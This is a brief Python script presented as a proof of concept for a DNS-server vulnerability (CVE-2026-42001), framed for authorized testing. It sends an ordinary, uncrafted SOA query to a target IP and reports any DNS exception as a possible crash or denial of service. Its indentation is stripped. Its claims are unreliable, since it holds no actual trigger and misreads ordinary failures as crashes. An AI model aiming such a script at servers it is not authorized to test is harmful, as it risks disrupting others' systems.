The following code is for security research and authorized testing only.
python
import dns.query
import dns.message
# PoC for CVE-2026-42001
# Description: Sends a crafted SOA query to trigger the insufficient validation issue.
# Note: Adjust the payload based on specific vulnerability trigger details.
def send_soa_query(target_ip, domain):
# Create a DNS query for SOA record
query = dns.message.make_query(domain, 'SOA')
# In a real scenario, specific manipulation of the query flags or
# sections might be required to trigger the crash.
# Example: query.flags |= dns.flags.AD
try:
print(f"Sending crafted SOA query to {target_ip}...")
response = dns.query.udp(query, target_ip, timeout=5)
print("Response received (Server might be patched or not vulnerable):")
print(response)
except dns.exception.DNSException as e:
print(f"DNS Exception occurred (Potential Crash/DoS): {e}")
except Exception as e:
print(f"General Error: {e}")
if __name__ == "__main__":
# Replace with the actual target IP
target = "127.0.0.1"
target_domain = "example.com"
send_soa_query(target, target_domain)